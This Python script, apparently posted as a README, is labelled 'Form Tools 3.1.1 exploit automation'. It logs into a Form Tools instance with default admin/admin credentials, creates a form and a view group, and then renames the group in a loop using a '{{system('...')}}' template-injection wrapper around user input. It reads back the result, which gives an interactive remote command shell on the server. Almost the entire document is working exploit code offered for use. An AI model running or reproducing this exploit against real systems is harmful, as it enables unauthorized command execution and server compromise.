README.md
Rendering markdown...
import re
import json
import argparse
from urllib.parse import urljoin, urlparse, parse_qs
import requests
# -----------------------
# Config
# -----------------------
BASE = "http://www.vulnerable-form-tools.com:80"
# Login
LOGIN_URL = urljoin(BASE, "/index.php")
LANDING_URL = urljoin(BASE, "/")
USERNAME = "admin"
PASSWORD = "admin"
# Form creation
FORM_NAME = "Test01"
NUM_FIELDS = 5
ACCESS_TYPE = "admin"
# After form creation, server redirects to /admin/forms/edit/?form_id=...&message=...
VERIFY_AFTER_ADD = urljoin(BASE, "/admin/forms/edit/")
# View Group creation (AJAX)
ACTIONS_URL = urljoin(BASE, "/global/code/actions.php")
# Optional: route through Burp in a lab
USE_BURP = False
PROXIES = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
COMMON_HEADERS = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
}
# Debug toggle (set via --debug)
DEBUG = False
# --------- Hardcoded naming convention ---------
NAME_PREFIX = "{{system('"
NAME_SUFFIX = "')}}"
# -----------------------------------------------
# -----------------------
# Helpers
# -----------------------
def log(msg: str):
print(f"[+] {msg}")
def dlog(msg: str):
if DEBUG:
print(f"[D] {msg}")
def show_redirects(resp: requests.Response):
for i, r in enumerate(resp.history, 1):
loc = r.headers.get("Location", "")
log(f"Redirect {i}: {r.status_code} {r.request.method} -> {loc}")
def extract_hidden_inputs(html: str) -> dict:
hidden = {}
for m in re.finditer(r'<input[^>]+type=["\']hidden["\'][^>]*>', html, flags=re.I):
n = re.search(r'name=["\']([^"\']+)["\']', m.group(0), flags=re.I)
v = re.search(r'value=["\']([^"\']*)["\']', m.group(0), flags=re.I)
if n:
hidden[n.group(1)] = v.group(1) if v else ""
return hidden
def parse_view_groups(html: str) -> dict:
# Returns {group_id: group_name}
groups = {}
for m in re.finditer(
r'<input[^>]*name=["\']group_name_(\d+)["\'][^>]*value=["\']([^"\']*)["\']',
html, flags=re.I | re.S
):
gid = m.group(1)
gname = m.group(2)
groups[gid] = gname
return groups
def extract_sortable_fields(html: str) -> dict:
fields = {}
for m in re.finditer(
r'<input[^>]*name=["\'](view_list_sortable__[^"\']+)["\'][^>]*>',
html, flags=re.I
):
name = m.group(1)
v = re.search(r'value=["\']([^"\']*)["\']', m.group(0), flags=re.I)
fields[name] = v.group(1) if v else ""
return fields
def extract_group_orders(html: str) -> list[str]:
ids = []
for m in re.finditer(r'<input[^>]*class=["\']group_order["\'][^>]*value=["\'](\d+)["\']', html, flags=re.I):
ids.append(m.group(1))
return ids
def find_group_id_by_name(s: requests.Session, form_id: str, name: str) -> str:
views_url = f"{BASE}/admin/forms/edit/index.php?form_id={form_id}&page=views"
headers_html = {**COMMON_HEADERS, "Referer": f"{BASE}/admin/forms/edit/index.php?form_id={form_id}&page=main"}
r = s.get(views_url, headers=headers_html, timeout=15)
if r.status_code != 200:
return ""
groups = parse_view_groups(r.text)
for gid, gname in groups.items():
if gname == name:
return gid
return ""
# -----------------------
# Auth
# -----------------------
def do_login(s: requests.Session) -> bool:
s.headers.update(COMMON_HEADERS)
if USE_BURP:
s.proxies.update(PROXIES)
s.verify = False
try:
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except Exception:
pass
log(f"Target: {BASE}")
r = s.get(LANDING_URL, timeout=15)
log(f"GET / -> {r.status_code} in {r.elapsed.total_seconds():.3f}s")
payload = {"username": USERNAME, "password": PASSWORD}
headers = {**COMMON_HEADERS, "Origin": BASE, "Referer": LANDING_URL}
log(f"POST {LOGIN_URL} with username={USERNAME}")
resp = s.post(LOGIN_URL, data=payload, headers=headers, allow_redirects=True, timeout=20)
log(f"POST login -> {resp.status_code} in {resp.elapsed.total_seconds():.3f}s")
if resp.history:
show_redirects(resp)
check = s.get(LANDING_URL, timeout=15)
ok = (check.status_code == 200) and any(x in check.text for x in ["Logout", "Admin", "Dashboard", "Sign out"])
log(f"Login status: {'OK' if ok else 'FAILED'}")
if ok:
dlog(f"Session cookies: {s.cookies.get_dict()}")
return ok
# -----------------------
# Create Internal Form
# -----------------------
def add_internal_form(s: requests.Session, form_name: str, num_fields: int, access_type: str) -> str:
ADD_ROOT = urljoin(BASE, "/admin/forms/add/")
ADD_INDEX = urljoin(BASE, "/admin/forms/add/index.php")
ADD_INTERNAL_GET = urljoin(BASE, "/admin/forms/add/internal.php")
ADD_INTERNAL_POST = urljoin(BASE, "/admin/forms/add/internal.php")
headers = {
**COMMON_HEADERS,
"Origin": BASE,
"Referer": urljoin(BASE, "/admin/forms/"),
}
data = {"new_form": "Add Form"}
log(f"POST {ADD_ROOT} new_form=Add Form")
r1 = s.post(ADD_ROOT, data=data, headers=headers, allow_redirects=True, timeout=20)
dlog(f"-> {r1.status_code} in {r1.elapsed.total_seconds():.3f}s")
if r1.history:
show_redirects(r1)
headers["Referer"] = ADD_ROOT
data = {"internal": "SELECT"}
log(f"POST {ADD_INDEX} internal=SELECT")
r2 = s.post(ADD_INDEX, data=data, headers=headers, allow_redirects=True, timeout=20)
dlog(f"-> {r2.status_code} in {r2.elapsed.total_seconds():.3f}s")
if r2.history:
show_redirects(r2)
headers = {**COMMON_HEADERS, "Referer": ADD_ROOT}
log(f"GET {ADD_INTERNAL_GET}")
r3 = s.get(ADD_INTERNAL_GET, headers=headers, timeout=15)
dlog(f"-> {r3.status_code} in {r3.elapsed.total_seconds():.3f}s")
hidden = extract_hidden_inputs(r3.text)
if hidden and DEBUG:
dlog(f"Hidden inputs: {list(hidden.keys())}")
headers = {
**COMMON_HEADERS,
"Origin": BASE,
"Referer": ADD_INTERNAL_GET,
}
payload = {
**hidden,
"form_name": form_name,
"num_fields": str(num_fields),
"access_type": access_type,
"add_form": "Add Form",
}
log(f"POST {ADD_INTERNAL_POST} to create form '{form_name}' with {num_fields} fields")
r4 = s.post(ADD_INTERNAL_POST, data=payload, headers=headers, allow_redirects=True, timeout=20)
dlog(f"-> {r4.status_code} in {r4.elapsed.total_seconds():.3f}s")
if r4.history:
show_redirects(r4)
final_url = r4.url
log(f"Final URL after creation: {final_url}")
form_id = ""
try:
parsed = urlparse(final_url)
if parsed.path.endswith("/admin/forms/edit/"):
qs = parse_qs(parsed.query)
form_id = (qs.get("form_id") or [""])[0]
message = (qs.get("message") or [""])[0]
if message:
log(f"Server message: {message}")
except Exception:
pass
if not form_id and "notify_internal_form_created" in r4.text:
m = re.search(r'form_id=(\d+)', r4.text)
if m:
form_id = m.group(1)
if form_id:
log(f"Form created OK with form_id={form_id}")
else:
log("Form creation status unclear. Check response body or server messages.")
return form_id
# -----------------------
# Add View Group on Views tab
# -----------------------
def add_view_group(s: requests.Session, form_id: str, group_name: str) -> str:
views_main = f"{BASE}/admin/forms/edit/index.php?form_id={form_id}&page=main"
views_url = f"{BASE}/admin/forms/edit/index.php?form_id={form_id}&page=views"
headers_html = {**COMMON_HEADERS, "Referer": views_main}
log(f"GET {views_url} (Views tab for form_id={form_id})")
r_get = s.get(views_url, headers=headers_html, timeout=15)
dlog(f"-> {r_get.status_code} in {r_get.elapsed.total_seconds():.3f}s")
headers_ajax = {
**COMMON_HEADERS,
"Accept": "application/json, text/javascript, */*; q=0.01",
"Content-Type": "application/x-www-form-urlencoded",
"X-Requested-With": "XMLHttpRequest",
"Origin": BASE,
"Referer": views_url,
}
payload = {"group_name": group_name, "action": "create_new_view_group"}
log(f"POST {ACTIONS_URL} action=create_new_view_group group_name='{group_name}'")
r_post = s.post(ACTIONS_URL, data=payload, headers=headers_ajax, timeout=20, allow_redirects=True)
dlog(f"-> {r_post.status_code} in {r_post.elapsed.total_seconds():.3f}s")
group_id = ""
ct = r_post.headers.get("Content-Type", "")
if "application/json" in ct:
try:
j = r_post.json()
log(f"AJAX response JSON: {j}")
group_id = str(j.get("group_id") or j.get("new_group_id") or j.get("id") or j.get("groupId") or "")
except json.JSONDecodeError:
log("Warning: JSON decode failed (non-JSON or malformed response)")
if not group_id:
r_check = s.get(views_url, headers=headers_html, timeout=15)
dlog(f"GET {views_url} (verify) -> {r_check.status_code}")
if r_check.status_code == 200 and group_name in r_check.text:
log("Group appears on Views page")
else:
log("Could not confirm group presence from HTML")
if group_id:
log(f"View group created with group_id={group_id}")
else:
log("View group created (likely), but no group_id found in response")
return group_id
# -----------------------
# AJAX rename (fast path)
# -----------------------
def try_ajax_group_rename(s: requests.Session, form_id: str, group_id: str, new_name: str) -> bool:
actions = ["rename_view_group", "update_view_group_name", "update_view_group"]
headers_ajax = {
**COMMON_HEADERS,
"Accept": "application/json, text/javascript, */*; q=0.01",
"Content-Type": "application/x-www-form-urlencoded",
"X-Requested-With": "XMLHttpRequest",
"Origin": BASE,
"Referer": f"{BASE}/admin/forms/edit/index.php?form_id={form_id}&page=views",
}
for action in actions:
payload = {"action": action, "group_id": str(group_id), "group_name": new_name}
r = s.post(ACTIONS_URL, data=payload, headers=headers_ajax, timeout=15)
if r.status_code == 200 and "application/json" in (r.headers.get("Content-Type","")):
try:
j = r.json()
except json.JSONDecodeError:
continue
if j.get("success") is True or j.get("group_name") == new_name:
log(f"AJAX rename via action='{action}' succeeded: {j}")
return True
return False
# -----------------------
# Interactive Rename of a View Group (with prefix/suffix)
# -----------------------
def rename_view_group_interactive(s: requests.Session, form_id: str, group_id: str) -> str:
"""
Prompts 'Input: ', applies hardcoded NAME_PREFIX/NAME_SUFFIX, attempts AJAX rename,
falls back to HTML POST with sortable rows, then prints 'Response: <saved_value>'.
"""
views_url = f"{BASE}/admin/forms/edit/index.php?form_id={form_id}&page=views"
edit_post_url = f"{BASE}/admin/forms/edit/index.php?form_id={form_id}"
referer_get = f"{BASE}/admin/forms/edit/index.php?form_id={form_id}&page=main"
# Prompt and apply naming convention
print("Input: ", end="", flush=True)
base_name = input().strip()
final_name = f"{NAME_PREFIX}{base_name}{NAME_SUFFIX}"
dlog(f"Applied name: {final_name}")
# Try AJAX first
if try_ajax_group_rename(s, form_id, group_id, final_name):
headers_html = {**COMMON_HEADERS, "Referer": referer_get}
r_verify = s.get(views_url, headers=headers_html, timeout=15)
saved = ""
if r_verify.status_code == 200:
m = re.search(
rf'<input[^>]*name=["\']group_name_{re.escape(group_id)}["\'][^>]*value=["\']([^"\']*)["\']',
r_verify.text, flags=re.I | re.S
)
saved = m.group(1) if m else ""
print(f"Response: {saved}")
return saved
# Fallback: GET Views to gather fields and compute sortable rows
headers_html = {**COMMON_HEADERS, "Referer": referer_get}
r_get = s.get(views_url, headers=headers_html, timeout=15)
if r_get.status_code != 200:
log(f"Views GET failed: {r_get.status_code}")
print("Response: ")
return ""
groups = parse_view_groups(r_get.text)
hidden = extract_hidden_inputs(r_get.text)
orders = extract_group_orders(r_get.text)
# Compute rows string akin to UI behavior; ex: "23|~25|"
if orders:
rows = "~".join(f"{gid}|" for gid in orders)
else:
rows = "~".join(f"{gid}|" for gid in sorted(groups.keys(), key=int))
# Build POST payload
form_payload = {**hidden}
form_payload["page"] = "views"
form_payload["update_views"] = "Update"
for gid, gname in groups.items():
form_payload[f"group_name_{gid}"] = gname
form_payload[f"group_name_{group_id}"] = final_name
# Always include sortable fields
form_payload["view_list_sortable__rows"] = rows
form_payload["view_list_sortable__new_groups"] = str(len(groups))
form_payload["view_list_sortable__deleted_rows"] = ""
headers_post = {
**COMMON_HEADERS,
"Origin": BASE,
"Referer": views_url, # exact Views referer
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
}
r_post = s.post(edit_post_url, data=form_payload, headers=headers_post, timeout=20, allow_redirects=True)
dlog(f"POST rename -> {r_post.status_code} in {r_post.elapsed.total_seconds():.3f}s")
# Verify by reloading Views
r_verify = s.get(views_url, headers=headers_html, timeout=15)
saved = ""
if r_verify.status_code == 200:
m = re.search(
rf'<input[^>]*name=["\']group_name_{re.escape(group_id)}["\'][^>]*value=["\']([^"\']*)["\']',
r_verify.text, flags=re.I | re.S
)
saved = m.group(1) if m else ""
print(f"Response: {saved}")
return saved
# -----------------------
# Main (continuous rename loop)
# -----------------------
def main():
s = requests.Session()
if not do_login(s):
return
# Create the internal form
fid = add_internal_form(s, FORM_NAME, NUM_FIELDS, ACCESS_TYPE)
if not fid:
log("No form_id extracted; stopping.")
return
# Optional: verify edit page reachable
edit_url = f"{VERIFY_AFTER_ADD}?form_id={fid}"
r = s.get(edit_url, timeout=15)
log(f"GET {edit_url} -> {r.status_code}")
if r.status_code == 200:
log("Verified edit page is reachable")
# Create the view group on the Views tab
seed_group_name = "TestGroup"
gid = add_view_group(s, fid, seed_group_name)
# If AJAX didn't return an id, locate by name
if not gid:
gid = find_group_id_by_name(s, fid, seed_group_name)
if gid:
log(f"Found group id by name: {gid}")
else:
log("Could not determine group_id; aborting rename loop.")
return
log("Rename loop started. Enter a new name each time. Press Ctrl+C to exit.")
try:
while True:
rename_view_group_interactive(s, fid, gid)
except KeyboardInterrupt:
print()
log("Exiting rename loop.")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Form Tools 3.1.1 exploit automation")
parser.add_argument("--debug", action="store_true", help="Enable extra debug output")
args = parser.parse_args()
DEBUG = args.debug
if DEBUG:
dlog("Debug mode enabled")
main()